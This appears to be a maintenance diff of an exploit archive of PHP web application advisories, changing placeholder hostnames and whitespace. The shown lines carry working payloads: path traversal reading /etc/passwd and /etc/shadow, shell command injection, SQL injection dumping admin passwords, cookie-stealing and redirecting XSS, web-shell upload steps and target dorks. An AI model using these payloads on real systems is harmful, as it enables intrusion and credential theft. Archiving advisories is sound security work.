b/platforms/php/webapps/7354.txt @@ -6,9 +6,9 @@ script: tizag-countdown_Version_3 download from:http://www.tizag.com/downloads/tizag-countdown_Version_3.zip *************************************************************************** -www.server/path/index.php (upload file.php) +www.site.com/path/index.php (upload file.php) -shell= www.server/path/pics/file.php +shell= www.site.com/path/pics/file.php *************************************************** diff --git a/platforms/php/webapps/7363.txt b/platforms/php/webapps/7363.txt index 5a609b4e2..4a5c40e6d 100755 --- a/platforms/php/webapps/7363.txt +++ b/platforms/php/webapps/7363.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -16,7 +16,7 @@ # Script site: http://www.phppgadmin.org/ # Download: http://phppgadmin.sourceforge.net/?page=download # - # Vuln: http://server/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00 + # Vuln: http://site.com/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00 # # Bug: ./phpPgAdmin-4.2.1/index.php (line: 11) # diff --git a/platforms/php/webapps/7368.txt b/platforms/php/webapps/7368.txt index d99ef09bd..efafd2f15 100755 --- a/platforms/php/webapps/7368.txt +++ b/platforms/php/webapps/7368.txt @@ -1,4 +1,4 @@ -+++++++++++++++++++++++In The Name Of Allah+++++++++++++++++++++++++++ + +++++++++++++++++++++++In The Name Of Allah+++++++++++++++++++++++++++ + + + Product Sale Framework sql injection Vulnerability + + + diff --git a/platforms/php/webapps/7377.txt b/platforms/php/webapps/7377.txt index c21b1f6d8..19c151c9c 100755 --- a/platforms/php/webapps/7377.txt +++ b/platforms/php/webapps/7377.txt @@ -1,4 +1,4 @@ -############### Yee7.Com ############### + ############### Yee7.Com ############### ############### zAx ################# PHPmyGallery Gold 1.51 (index.php) Folders Disclosure ----------------------------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/7381.txt b/platforms/php/webapps/7381.txt index 21c65e0bf..032a5fcdd 100755 --- a/platforms/php/webapps/7381.txt +++ b/platforms/php/webapps/7381.txt @@ -1,4 +1,4 @@ -# + # # # # ### # ## ##### multiple remote vulnerabilities diff --git a/platforms/php/webapps/7388.txt b/platforms/php/webapps/7388.txt index 87828a8c2..018f95e17 100755 --- a/platforms/php/webapps/7388.txt +++ b/platforms/php/webapps/7388.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -17,7 +17,7 @@ # Download: http://www.webcaf.net/downloads/webcaf-1.4.tar.gz # # [Arbitrary File Delete Vulnerability] - # Vuln: http://server/webcaf/index.php?user_uid=../../../../../../etc/shadow ;) + # Vuln: http://site.com/webcaf/index.php?user_uid=../../../../../../etc/shadow ;) # # Bug: ./webcaf/index.php (lines: 49-50 and 61-63) # @@ -64,7 +64,7 @@ # # # [RCE] - # Vuln: http://server/webcaf/about.php?_WEBCAF[db_database]=asfa%22;id%3E/tmp/aaa.txt;false%20%22 + # Vuln: http://site.com/webcaf/about.php?_WEBCAF[db_database]=asfa%22;id%3E/tmp/aaa.txt;false%20%22 # # Bug: ./webcaf/index.php (lines: 127) # diff --git a/platforms/php/webapps/7395.txt b/platforms/php/webapps/7395.txt index c6fa8324e..d9077ca0b 100755 --- a/platforms/php/webapps/7395.txt +++ b/platforms/php/webapps/7395.txt @@ -1,4 +1,4 @@ -############### SuB-ZeRo ############### + ############### SuB-ZeRo ############### ############### Dz-hackers ################# PEEL Remote SQL Injection Vulnerability ----------------------------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/7396.txt b/platforms/php/webapps/7396.txt index 3e350272e..6dcf19a08 100755 --- a/platforms/php/webapps/7396.txt +++ b/platforms/php/webapps/7396.txt @@ -1,4 +1,4 @@ -############### SuB-ZeRo ############### + ############### SuB-ZeRo ############### ############### Dz-hackers ################# Netref 4.0 Remote SQL Injection Vulnerability ----------------------------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/7400.txt b/platforms/php/webapps/7400.txt index e2eaa4515..de5d127c8 100755 --- a/platforms/php/webapps/7400.txt +++ b/platforms/php/webapps/7400.txt @@ -12,10 +12,10 @@ include ('language/'..$_REQUEST['lang'].'.php'); *************************************************** xpl: -www.server/path/index.php?lang=[Lfi]%00 +www.site.com/path/index.php?lang=[Lfi]%00 xss: -www.server/path/index.php/>"><ScRiPt>alert(document.cookie)</ScRiPt> +www.site.com/path/index.php/>"><ScRiPt>alert(document.cookie)</ScRiPt> ................................................... Author: ahmadbady from:iran diff --git a/platforms/php/webapps/7407.txt b/platforms/php/webapps/7407.txt index d05600d0d..fa4ff4a9b 100755 --- a/platforms/php/webapps/7407.txt +++ b/platforms/php/webapps/7407.txt @@ -16,7 +16,7 @@ DorK : :( exploit : _______ -http://www.server/member.php?u=15+UNION+SELECT+concat(user,0x3e,pass),2+FROM+admin-- +http://www.site.com/member.php?u=15+UNION+SELECT+concat(user,0x3e,pass),2+FROM+admin-- @@ -27,7 +27,7 @@ http://www.unscripts.com/MPS/member.php?u=15+UNION+SELECT+concat(user,0x3e,pass) login : -http://www.server/Admin/login.php +http://www.site.com/Admin/login.php ____________________________( Greetz )_________________________________ | diff --git a/platforms/php/webapps/7409.txt b/platforms/php/webapps/7409.txt index 279d361a3..9758370d7 100755 --- a/platforms/php/webapps/7409.txt +++ b/platforms/php/webapps/7409.txt @@ -17,7 +17,7 @@ Pro Chat Rooms Version 3.0.2 (XSS/CSRF) Vulnerabilties -==XSS==- -http://www.yourserver/[path]/profiles/index.php?gud=XSSED +http://www.yoursite.com/[path]/profiles/index.php?gud=XSSED Vulnerable code in "/profiles/index.php" @@ -66,10 +66,10 @@ if (sendReq.readyState == 4 || sendReq.readyState == 0) { Exploit Example: -default ==> http://www.yourserver/[path]/Avatars/online.gif +default ==> http://www.yoursite.com/[path]/Avatars/online.gif -Your mallecious CSRF param; avatar=../logout.php ==> New avatar path http://www.yourserver/[path]/logout.php +Your mallecious CSRF param; avatar=../logout.php ==> New avatar path http://www.yoursite.com/[path]/logout.php in this example the user will logout when he recieves ur message; in a public room all users will diff --git a/platforms/php/webapps/7417.txt b/platforms/php/webapps/7417.txt index d647ad9a6..c71d39ea0 100755 --- a/platforms/php/webapps/7417.txt +++ b/platforms/php/webapps/7417.txt @@ -7,7 +7,7 @@ #script:http://sourceforge.net/projects/phpaddedit/ -#vuln:http://server/addedit-render.php?editform=../../../../../../../etc/passwd%00 +#vuln:http://target.com/addedit-render.php?editform=../../../../../../../etc/passwd%00 #vulnerable code: diff --git a/platforms/php/webapps/7426.txt b/platforms/php/webapps/7426.txt index 8c66c0414..378750e6c 100755 --- a/platforms/php/webapps/7426.txt +++ b/platforms/php/webapps/7426.txt @@ -6,13 +6,13 @@ script: PHP_Support_Tickets_v2.2 download from:http://www.phpsupporttickets.com/modules/phpsupporttickets.com/dist/free/PHP_Support_Tickets_v2.2.zip *************************************************************************** -1:www.server/path/index.php?page=register +1:www.site.com/path/index.php?page=register 2:New Ticket 3:upload php file -shell www.server/path/upload/you user/phpst_ticket_number/shell.php +shell www.site.com/path/upload/you user/phpst_ticket_number/shell.php *************************************************** diff --git a/platforms/php/webapps/7430.txt b/platforms/php/webapps/7430.txt index 5deab70c5..e4f6e0b80 100755 --- a/platforms/php/webapps/7430.txt +++ b/platforms/php/webapps/7430.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -16,7 +16,7 @@ # Script Site: http://sumon.sourceforge.net/ # Download: http://sourceforge.net/projects/sumon # - # Vuln: http://server/sumon-0.7.0/chg.php?host=|id>/tmp/dupa; + # Vuln: http://site.com/sumon-0.7.0/chg.php?host=|id>/tmp/dupa; # # Bug: ./sumon-0.7.0/server/www/chg.php (lines: 32-25, 99) # @@ -29,7 +29,7 @@ # passthru("${bindir}/chmgmtinfobuilder.pl --html --chgonly --node=$host --days=$days"); # ... # - # Vuln: http://server/sumon-0.7.0/stats.php?host=|id>/tmp/dupa; + # Vuln: http://site.com/sumon-0.7.0/stats.php?host=|id>/tmp/dupa; # # Bug: ./sumon-0.7.0/server/www/stats.php (lines: 23-25, 294) # @@ -41,12 +41,12 @@ # exec ("$graphstats -h $host -l $graphic -g GRAPH:".$time.":".$timefactor." ".$timestampstring." ".$endstring." > /dev/null 2>&1"); # ... # - # Vuln: http://server/sumon-0.7.0/showfile.php - # http://server/sumon-0.7.0/difffile.php + # Vuln: http://site.com/sumon-0.7.0/showfile.php + # http://site.com/sumon-0.7.0/difffile.php # # POST /sumon-0.7.0/showfile.php HTTP/1.1 # - # Host: server + # Host: site.com # User-Agent: Mozilla/5.0 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 # Accept-Language: pl,en-us;q=0.7,en;q=0.3 diff --git a/platforms/php/webapps/7433.txt b/platforms/php/webapps/7433.txt index ad0dcce2a..2d42b191e 100755 --- a/platforms/php/webapps/7433.txt +++ b/platforms/php/webapps/7433.txt @@ -1,4 +1,4 @@ - + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . diff --git a/platforms/php/webapps/7435.txt b/platforms/php/webapps/7435.txt index 43f5f6c65..fa794993f 100755 --- a/platforms/php/webapps/7435.txt +++ b/platforms/php/webapps/7435.txt @@ -1,4 +1,4 @@ - + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . diff --git a/platforms/php/webapps/7439.txt b/platforms/php/webapps/7439.txt index 84f106eeb..889f005c3 100755 --- a/platforms/php/webapps/7439.txt +++ b/platforms/php/webapps/7439.txt @@ -1,4 +1,4 @@ - + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . @@ -41,7 +41,7 @@ <<->> Exploit :>>> - :>> http://www.server/albums.php?id=16+union+select+1,concat(username,0x3a,password),3,4,5+from+admin-- + :>> http://www.site.com/albums.php?id=16+union+select+1,concat(username,0x3a,password),3,4,5+from+admin-- diff --git a/platforms/php/webapps/7451.txt b/platforms/php/webapps/7451.txt index 18aa63def..0d5864aa4 100755 --- a/platforms/php/webapps/7451.txt +++ b/platforms/php/webapps/7451.txt @@ -14,12 +14,12 @@ line 48: *************************************************** xpl: -www.server/path/test.php?metar=()&language=[Lfi]%00 +www.site.com/path/test.php?metar=()&language=[Lfi]%00 ..................................................... -www.server/path/index.php?cc=[Lfi] +www.site.com/path/index.php?cc=[Lfi] .................................................... xss: -www.server/path/config/make_config.php/>"><ScRiPt>alert(0)</ScRiPt> +www.site.com/path/config/make_config.php/>"><ScRiPt>alert(0)</ScRiPt> .................................................. Author: ahmadbady from:iran diff --git a/platforms/php/webapps/7456.txt b/platforms/php/webapps/7456.txt index 8a5d90391..c7eefb97e 100755 --- a/platforms/php/webapps/7456.txt +++ b/platforms/php/webapps/7456.txt @@ -10,14 +10,14 @@ Xpl: -1.First Register Into The Site ( link: www.server/[path]/signup.php ) +1.First Register Into The Site ( link: www.site.com/[path]/signup.php ) 2.Login With Your Email & Password -3.After That Go To "Add Pen/Author Name" ( link: www.server/[path]/memberarea/addpen.php ) +3.After That Go To "Add Pen/Author Name" ( link: www.site.com/[path]/memberarea/addpen.php ) & Write Your Author & Select Your Shell.php like: c99.php -4.Your Shell Will Be Appear In This Folder ( link: www.server/[path]/photos/ ) +4.Your Shell Will Be Appear In This Folder ( link: www.site.com/[path]/photos/ ) 5.Your Shell Will Be Renamed With Random Text like: cc1bd-c99.php diff --git a/platforms/php/webapps/7457.txt b/platforms/php/webapps/7457.txt index 65043e643..d5acd4f8d 100755 --- a/platforms/php/webapps/7457.txt +++ b/platforms/php/webapps/7457.txt @@ -10,7 +10,7 @@ Xpl: -1.First Register Into The Site ( link: www.server/[path]/register.php ) +1.First Register Into The Site ( link: www.site.com/[path]/register.php ) 2.In Register Section Select Your phpshell like: c99.php diff --git a/platforms/php/webapps/7459.txt b/platforms/php/webapps/7459.txt index 4d5ed814d..923630cea 100755 --- a/platforms/php/webapps/7459.txt +++ b/platforms/php/webapps/7459.txt @@ -10,8 +10,8 @@ Page themes/default/index.php, Line 15-16 : <?php include($main);?> <?php include($right);?> -server/cfagcms/themes/default/index.php?main=SHELL -server/cfagcms/themes/default/index.php?right=SHELL +Site.Com/cfagcms/themes/default/index.php?main=SHELL +Site.Com/cfagcms/themes/default/index.php?right=SHELL SHQÄ°PTAR! Siyasetle ilgili biÅŸi söliyimmi :p diff --git a/platforms/php/webapps/7480.txt b/platforms/php/webapps/7480.txt index 9d1f92383..18ef9fc5d 100755 --- a/platforms/php/webapps/7480.txt +++ b/platforms/php/webapps/7480.txt @@ -8,7 +8,7 @@ # Script : cadenix # Download : http://www.cadenix.com # Exploit : - http://server/demo/index.php?game=40664&cid=-1+union+select+1,2,3,name,5,6,pass,8,9,10+from+members-- + http://site.com/demo/index.php?game=40664&cid=-1+union+select+1,2,3,name,5,6,pass,8,9,10+from+members-- # Live Demo : http://cadenix.com/demo/index.php?game=40664&cid=-1+union+select+1,2,3,name,5,6,pass,8,9,10+from+members-- # Admin Panel : http://cadenix.com/demo/admin diff --git a/platforms/php/webapps/7482.txt b/platforms/php/webapps/7482.txt index 46e854d18..35ec34c6c 100755 --- a/platforms/php/webapps/7482.txt +++ b/platforms/php/webapps/7482.txt @@ -1,4 +1,4 @@ - + =========================================================================================================== diff --git a/platforms/php/webapps/7487.txt b/platforms/php/webapps/7487.txt index 822f830de..b089bcc29 100755 --- a/platforms/php/webapps/7487.txt +++ b/platforms/php/webapps/7487.txt @@ -1,4 +1,4 @@ -!!..:: ZAC003 ::..!! + !!..:: ZAC003 ::..!! -+( Vive int Iranian WhiteHat Nomads Group )+- ------------------------------------------------------------------------------------------- Reporter : ZAC003 From Aria-Security.Net diff --git a/platforms/php/webapps/7490.php b/platforms/php/webapps/7490.php index a5fcf9e3b..7b03d78b2 100755 --- a/platforms/php/webapps/7490.php +++ b/platforms/php/webapps/7490.php @@ -18,10 +18,10 @@ # Admin Panel: [Target]/cms/ # Usage (Method 1 auto): php '.$argv[0].' -1 [Target] # Usage (Method 2 manually): php '.$argv[0].' -2 [Target] [Language] [valid naviID] [ueber] [aiyootaID] [file] -# Example (Method 1) for http://www.server -# => php '.$argv[0].' -1 http://www.server -# Example (Method 2) for http://www.server/english/8/8/45001/liste9.html -# => php '.$argv[0].' -2 http://www.server english 8 8 45001 liste9.html +# Example (Method 1) for http://www.site.com +# => php '.$argv[0].' -1 http://www.site.com +# Example (Method 2) for http://www.site.com/english/8/8/45001/liste9.html +# => php '.$argv[0].' -2 http://www.site.com english 8 8 45001 liste9.html # ############################################################### '); diff --git a/platforms/php/webapps/7493.txt b/platforms/php/webapps/7493.txt index 0905f66f8..a78156ab8 100755 --- a/platforms/php/webapps/7493.txt +++ b/platforms/php/webapps/7493.txt @@ -7,7 +7,7 @@ Dork : "Liberum Help Desk, Copyright (C) 2001 Doug Luxem" ============== [#] SQL Injection -http://www.server/[path]/forgotpass.asp +http://www.site.com/[path]/forgotpass.asp In uid insert SQL command's => @@ -20,7 +20,7 @@ all passwords will be z3ro ============= [#] Database Disclosure -http://www.server/[path]/db/helpdesk2000.mdb +http://www.site.com/[path]/db/helpdesk2000.mdb diff --git a/platforms/php/webapps/7504.txt b/platforms/php/webapps/7504.txt index 6fd166fb5..c58d6c0aa 100755 --- a/platforms/php/webapps/7504.txt +++ b/platforms/php/webapps/7504.txt @@ -1,4 +1,4 @@ - + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . diff --git a/platforms/php/webapps/7524.txt b/platforms/php/webapps/7524.txt index 6fba1a8ff..3a6877e81 100755 --- a/platforms/php/webapps/7524.txt +++ b/platforms/php/webapps/7524.txt @@ -7,7 +7,7 @@ Online Keyword Research (download.php filename) Local File Include # Exploit -[~] http://www.server/[path]/download.php?filename=../../../../../../../../etc/passwd +[~] http://www.site.com/[path]/download.php?filename=../../../../../../../../etc/passwd # Example diff --git a/platforms/php/webapps/7525.txt b/platforms/php/webapps/7525.txt index 72bce43bd..7aa1b8857 100755 --- a/platforms/php/webapps/7525.txt +++ b/platforms/php/webapps/7525.txt @@ -11,7 +11,7 @@ Extract Website (download.php filename) Local File Include # Exploit -[~] http://www.server/[path]/download.php?filename=../../../../../../../../etc/passwd +[~] http://www.site.com/[path]/download.php?filename=../../../../../../../../etc/passwd diff --git a/platforms/php/webapps/7530.pl b/platforms/php/webapps/7530.pl index 7b5a12f79..5a5090aff 100755 --- a/platforms/php/webapps/7530.pl +++ b/platforms/php/webapps/7530.pl @@ -18,7 +18,7 @@ print q { }; if (@ARGV < 2) { - print "Usage: usrlocsploit.pl [url] [user id]\nExample: usrlocsploit.pl server 1\n"; + print "Usage: usrlocsploit.pl [url] [user id]\nExample: usrlocsploit.pl www.target.com 1\n"; exit; } diff --git a/platforms/php/webapps/7540.txt b/platforms/php/webapps/7540.txt index c5c4c2274..fba40b982 100755 --- a/platforms/php/webapps/7540.txt +++ b/platforms/php/webapps/7540.txt @@ -3,7 +3,7 @@ Home: http://black-dwarf.com HS: http://www.hotscripts.com/Detailed/86225.html Found by: Anarchy Angel - http://hha.zapto.org -Temp XSS: http://server/phpg/index.php?url="> [XSS] +Temp XSS: http://site.com/phpg/index.php?url="> [XSS] Temp XSS: http://site/com/phpg/main-display-file.php?file= [XSS] diff --git a/platforms/php/webapps/7543.txt b/platforms/php/webapps/7543.txt index 6abcc795e..ad53bc140 100755 --- a/platforms/php/webapps/7543.txt +++ b/platforms/php/webapps/7543.txt @@ -1,4 +1,4 @@ -_____ ____ __ __ _ ____ ____ ____ + _____ ____ __ __ _ ____ ____ ____ |_ _| | _ \ \ \ / / / \ / ___| / ___| / ___| | | | |_) | \ V / / _ \ | | _ | | | | | | | _ < | | / ___ \ | |_| | _ | |___ | |___ diff --git a/platforms/php/webapps/7544.txt b/platforms/php/webapps/7544.txt index 0171a8c80..16b7d5384 100755 --- a/platforms/php/webapps/7544.txt +++ b/platforms/php/webapps/7544.txt @@ -116,7 +116,7 @@ sub Url_Encode { } sub Usage { - print "\n\tUsage:\t$0 http://server [full server path] + print "\n\tUsage:\t$0 http://site.com [full server path] Example: $0 http://localhost/ /var/www/htdocs diff --git a/platforms/php/webapps/7551.txt b/platforms/php/webapps/7551.txt index 2da9a6278..fe1a33da4 100755 --- a/platforms/php/webapps/7551.txt +++ b/platforms/php/webapps/7551.txt @@ -1,4 +1,4 @@ ------------------------------------------------------ + ----------------------------------------------------- Calendar Script v1.1 Admin Login Bypass Vulnerability ----------------------------------------------------- by athos - staker[at]hotmail[dot]it diff --git a/platforms/php/webapps/7552.txt b/platforms/php/webapps/7552.txt index beba2dd3d..1d91b5e6e 100755 --- a/platforms/php/webapps/7552.txt +++ b/platforms/php/webapps/7552.txt @@ -19,7 +19,7 @@ # The important column names are "username" and "password". # The number of columns is 8 almost everytime. # -# Example: http://www.webserver/page.php?pageid=1&zv=null+union+select+concat(username,0x3a,password),2,3,4,5,6,7,8+from+website_user+limit+0,1/* +# Example: http://www.website.com/page.php?pageid=1&zv=null+union+select+concat(username,0x3a,password),2,3,4,5,6,7,8+from+website_user+limit+0,1/* # ############################################################### diff --git a/platforms/php/webapps/7561.txt b/platforms/php/webapps/7561.txt index 4c656b386..06e2d8353 100755 --- a/platforms/php/webapps/7561.txt +++ b/platforms/php/webapps/7561.txt @@ -8,9 +8,9 @@ script: phpGreetCards download from:http://www.w2b.ru/download/phpGreetCards.zip *************************************************************************** -www.server/path/index.php?mode=select&category +www.site.com/path/index.php?mode=select&category -shell: www.server/path/userfiles/number_shell.php +shell: www.site.com/path/userfiles/number_shell.php ----------------------------------------------------------------------------------------- dork:"powered by phpGreetCards" diff --git a/platforms/php/webapps/7562.txt b/platforms/php/webapps/7562.txt index 332f21926..b4a9b9036 100755 --- a/platforms/php/webapps/7562.txt +++ b/platforms/php/webapps/7562.txt @@ -8,8 +8,8 @@ script: phpAdBoard download from:http://www.w2b.ru/download/phpAdBoard.zip *************************************************************************** -www.server/path/index.php -shell: www.server/path/photoes/number_shell.php +www.site.com/path/index.php +shell: www.site.com/path/photoes/number_shell.php ----------------------------------------------------------------------------------------- dork:"powered by phpAdBoard" diff --git a/platforms/php/webapps/7563.txt b/platforms/php/webapps/7563.txt index 66eba53c5..98a7d3f7d 100755 --- a/platforms/php/webapps/7563.txt +++ b/platforms/php/webapps/7563.txt @@ -6,9 +6,9 @@ script: phpEmployment download from:http://www.w2b.ru/download/phpEmployment.zip *************************************************************************** -www.server/path/auth.php?mode=regnew&adtype=job +www.site.com/path/auth.php?mode=regnew&adtype=job -shell: www.server/path/photoes/number_shell.php +shell: www.site.com/path/photoes/number_shell.php ---------------------------------------------------------------------------------------- dork:"powered by phpEmployment" diff --git a/platforms/php/webapps/7565.txt b/platforms/php/webapps/7565.txt index c40bf2b99..a2415f693 100755 --- a/platforms/php/webapps/7565.txt +++ b/platforms/php/webapps/7565.txt @@ -16,7 +16,7 @@ darck : Exploit: -server/thread.php?id=-null union select 1,2,3,4,5,6,7,8,concat(user_name,0x3e,user_password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from users +site.com/thread.php?id=-null union select 1,2,3,4,5,6,7,8,concat(user_name,0x3e,user_password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from users Dome: @@ -24,7 +24,7 @@ al-andalos.com/thread.php?id=-null+union+all+select+1,2,3,4,5,6,7,8,concat(user_ Login: -server/admin +site.com/admin ---------------------------------------------------------------------------- Samir-M > A-flow > Gess-Inject0r > Wassim-Net diff --git a/platforms/php/webapps/7570.txt b/platforms/php/webapps/7570.txt index 8062e8254..b9e73103a 100755 --- a/platforms/php/webapps/7570.txt +++ b/platforms/php/webapps/7570.txt @@ -19,7 +19,7 @@ # Important columns: usr_id, login, passwd # # Example: -# http://www.server/repository.php?cmd=frameset&ref_id=1+and+ascii(substring((select+passwd+from+usr_data+limit+0,1),1,1))>50-- +# http://www.site.com/repository.php?cmd=frameset&ref_id=1+and+ascii(substring((select+passwd+from+usr_data+limit+0,1),1,1))>50-- # ############################################################### diff --git a/platforms/php/webapps/7575.pl b/platforms/php/webapps/7575.pl index cda6538b8..37c2a6947 100755 --- a/platforms/php/webapps/7575.pl +++ b/platforms/php/webapps/7575.pl @@ -24,7 +24,7 @@ print "\t\t-------------------------------------------------------------\n\n"; use LWP::UserAgent; -print "\nSite ismi Target page:[http://wwww.server/path/]: "; +print "\nSite ismi Target page:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); $column_name="concat(username,0x3a,password)"; diff --git a/platforms/php/webapps/7595.txt b/platforms/php/webapps/7595.txt index 2a43bbc44..541cc7b5a 100755 --- a/platforms/php/webapps/7595.txt +++ b/platforms/php/webapps/7595.txt @@ -1,4 +1,4 @@ - + in the name of god ..:: jj_nanak2000@yahoo.com ::.. diff --git a/platforms/php/webapps/7603.txt b/platforms/php/webapps/7603.txt index 7978d4581..5632ffca0 100755 --- a/platforms/php/webapps/7603.txt +++ b/platforms/php/webapps/7603.txt @@ -1,4 +1,4 @@ -_____ ____ __ __ _ ____ ____ ____ + _____ ____ __ __ _ ____ ____ ____ |_ _| | _ \ \ \ / / / \ / ___| / ___| / ___| | | | |_) | \ V / / _ \ | | _ | | | | | | | _ < | | / ___ \ | |_| | _ | |___ | |___ diff --git a/platforms/php/webapps/7604.txt b/platforms/php/webapps/7604.txt index 2dcd6c511..36869f760 100755 --- a/platforms/php/webapps/7604.txt +++ b/platforms/php/webapps/7604.txt @@ -1,4 +1,4 @@ -_____ ____ __ __ _ ____ ____ ____ + _____ ____ __ __ _ ____ ____ ____ |_ _| | _ \ \ \ / / / \ / ___| / ___| / ___| | | | |_) | \ V / / _ \ | | _ | | | | | | | _ < | | / ___ \ | |_| | _ | |___ | |___ diff --git a/platforms/php/webapps/7614.txt b/platforms/php/webapps/7614.txt index 1a4fa0752..c60dfcdbe 100755 --- a/platforms/php/webapps/7614.txt +++ b/platforms/php/webapps/7614.txt @@ -4,7 +4,7 @@ Email: andry2000@hotmail.it Site: http://w00tz0ne.altervista.org/index.php Cms: Flexphpdiren Version: 0.0.1 -Download: http://www.china-on-server/flexphpdir/ +Download: http://www.china-on-site.com/flexphpdir/ ############################################## Bug In \admin\usercheck.php 'n' \add.php diff --git a/platforms/php/webapps/7615.txt b/platforms/php/webapps/7615.txt index 72c055a35..1ae07706a 100755 --- a/platforms/php/webapps/7615.txt +++ b/platforms/php/webapps/7615.txt @@ -4,7 +4,7 @@ Email: andry2000@hotmail.it Site: http://w00tz0ne.altervista.org/index.php Cms: Flexphpsiteen Version: 0.0.1 -Download: http://www.china-on-server/flexphpsite/downloads.html +Download: http://www.china-on-site.com/flexphpsite/downloads.html ############################################## Bug In \admin\usercheck.php diff --git a/platforms/php/webapps/7616.txt b/platforms/php/webapps/7616.txt index d07c562b6..f8646b72a 100755 --- a/platforms/php/webapps/7616.txt +++ b/platforms/php/webapps/7616.txt @@ -4,7 +4,7 @@ Email: andry2000@hotmail.it Site: http://w00tz0ne.altervista.org/index.php Cms: Flexphplink Pro Version: 0.0.7 -Download: http://www.china-on-server/flexphplink/downloads.html +Download: http://www.china-on-site.com/flexphplink/downloads.html ############################################## Bug In \admin\usercheck.php diff --git a/platforms/php/webapps/7619.txt b/platforms/php/webapps/7619.txt index 472e84fdc..14a08aabf 100755 --- a/platforms/php/webapps/7619.txt +++ b/platforms/php/webapps/7619.txt @@ -1,4 +1,4 @@ -####################################################################################### + ####################################################################################### # # # ...:::::eDNews v2 SQL Injection Vulnerability::::.... # ####################################################################################### @@ -24,7 +24,7 @@ $eDQuery_ = new edQuery( $dblink, $CONFIG['db'], $arr_from, $arr_select, $where, $arr_rst = $eDQuery_->getRecords(); --- exploit: -http://server/eDNews_view.php?newsid=-99/**/union/**/select/**/1,2,concat(user(),0x3a,version(),0x3e,database()),4,5/* +http://site.com/eDNews_view.php?newsid=-99/**/union/**/select/**/1,2,concat(user(),0x3a,version(),0x3e,database()),4,5/* ------- young iranian h4ck3rz diff --git a/platforms/php/webapps/7620.txt b/platforms/php/webapps/7620.txt index a69b08f99..f55bea7a6 100755 --- a/platforms/php/webapps/7620.txt +++ b/platforms/php/webapps/7620.txt @@ -70,7 +70,7 @@ fclose($fp); Example: 1 Put upload.php and own.php at server -2 Go to url yourserver/upload.php and put to the textarea adres of website and Click OWNED -3 Now go to url your file server/galeria/own.php +2 Go to url yourserver.com/upload.php and put to the textarea adres of website and Click OWNED +3 Now go to url your file target.com/galeria/own.php # milw0rm.com [2008-12-29] diff --git a/platforms/php/webapps/7621.txt b/platforms/php/webapps/7621.txt index cbb99c5c5..0d789945e 100755 --- a/platforms/php/webapps/7621.txt +++ b/platforms/php/webapps/7621.txt @@ -21,7 +21,7 @@ ## ## -[[: Exploite :]]- ## -## server/Acomment.php?id=1+union+select+0,0,0,0,0,0,0,0,concat_ws(0x3a,name,email,password),0,0+from+users-- +## www.Target.com/Acomment.php?id=1+union+select+0,0,0,0,0,0,0,0,concat_ws(0x3a,name,email,password),0,0+from+users-- ## ######################## ######################## diff --git a/platforms/php/webapps/7624.txt b/platforms/php/webapps/7624.txt index f2e32aadc..b341dbeac 100755 --- a/platforms/php/webapps/7624.txt +++ b/platforms/php/webapps/7624.txt @@ -3,7 +3,7 @@ Autore: S.W.A.T. Email: svvateam@yahoo.com Site: Www.BaTLaGH.coM Cms: Flexphpic 0.0.4 & Flexphpic Pro 0.0.3 -Download: http://www.china-on-server/flexphpic/downloads.php +Download: http://www.china-on-site.com/flexphpic/downloads.php ############################################## Bug In \admin\usercheck.php $sql = "select username,adminid from linkexadmin where diff --git a/platforms/php/webapps/7628.txt b/platforms/php/webapps/7628.txt index 5273786dc..3f154603b 100755 --- a/platforms/php/webapps/7628.txt +++ b/platforms/php/webapps/7628.txt @@ -57,7 +57,7 @@ The attacker is able to create shopping carts with HTML/Javascript injected code such as: http://www.victim.com/cart_save.php?operation=save&rnd=&rp=products.php&cart_name=<html><a href="http://www.google.com">Google</a></html> http://www.victim.com/cart_save.php?operation=save&rnd=&rp=products.php&cart_name=<html><script>alert("VULN");</script></html> -http://www.victim.com/cart_save.php?operation=save&rnd=&rp=products.php&cart_name=<html><script>window.location="http://malicious-server";</script></html> +http://www.victim.com/cart_save.php?operation=save&rnd=&rp=products.php&cart_name=<html><script>window.location="http://malicious-site.com";</script></html> Then when the user visits "My Saved Carts" at http://victim.com/user_carts.php the code is executed: @@ -68,7 +68,7 @@ Example 3 would send the user to a malicious site. Note: manuals_search.php is also vulnerable to the same HTML/Javascript vulnerability that allows for arbitrary code to be executed: -http://www.victim.com/manuals_search.php?manuals_search=<html><script>window.location="http://malicious-server";</script></html> +http://www.victim.com/manuals_search.php?manuals_search=<html><script>window.location="http://malicious-site.com";</script></html> A remote user is able to identify the full path of the document root folder. diff --git a/platforms/php/webapps/7638.txt b/platforms/php/webapps/7638.txt index b20c52aed..20011d25a 100755 --- a/platforms/php/webapps/7638.txt +++ b/platforms/php/webapps/7638.txt @@ -9,9 +9,9 @@ Discovered By: Lo$er ====Exploit==== After registered and logged in, a user can upload any type of file in "My Picture Album" where a picture would usually be uploaded. -For example, if the file "shell.php" was uploaded to someserver, its location would likely be +For example, if the file "shell.php" was uploaded to somesite.com, its location would likely be -http://someserver/uploads/pictures/pictures/[user]/[picture number]_shell.php 